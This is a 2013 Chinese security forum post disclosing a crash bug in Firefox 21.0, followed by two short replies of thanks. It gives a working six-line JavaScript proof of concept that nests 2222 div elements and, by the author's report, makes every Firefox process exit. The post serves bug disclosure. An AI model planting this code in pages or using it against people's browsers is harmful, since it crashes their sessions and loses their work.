Firefox浏览器Crash漏洞,让浏览器崩溃

Jumbo · 发表于 2013-9-24 11:22:30

简要描述：
6行javascript导致火狐崩溃，所有进程退出
详细说明：
测试版本：firefox 21.0

两个标签不断的循环嵌套，于是就崩溃了。

其实循环几百次就可以，为了保证测试效果，让它循环了2222次

<body>

<script>

var d1 = document.createElement("div");

for (var i = 0;i<2222; i++) {

var d2 = document.createElement("div");

d2.appendChild(d1);

d1 = d2;

};

document.body.appendChild(d1);

</script>

</body>
漏洞证明：
因为是崩溃了，所以也没法截图了。这里的崩溃不是指的单个标签页的崩溃，也不是窗体的未响应，而是进程的退出，不管你开了几个进程，全部退出。

显示全部楼层 · 发表于 2013-9-24 11:54:32

写的真的很不错

显示全部楼层 · 发表于 2013-9-24 12:33:09

学习了，谢谢分享、、、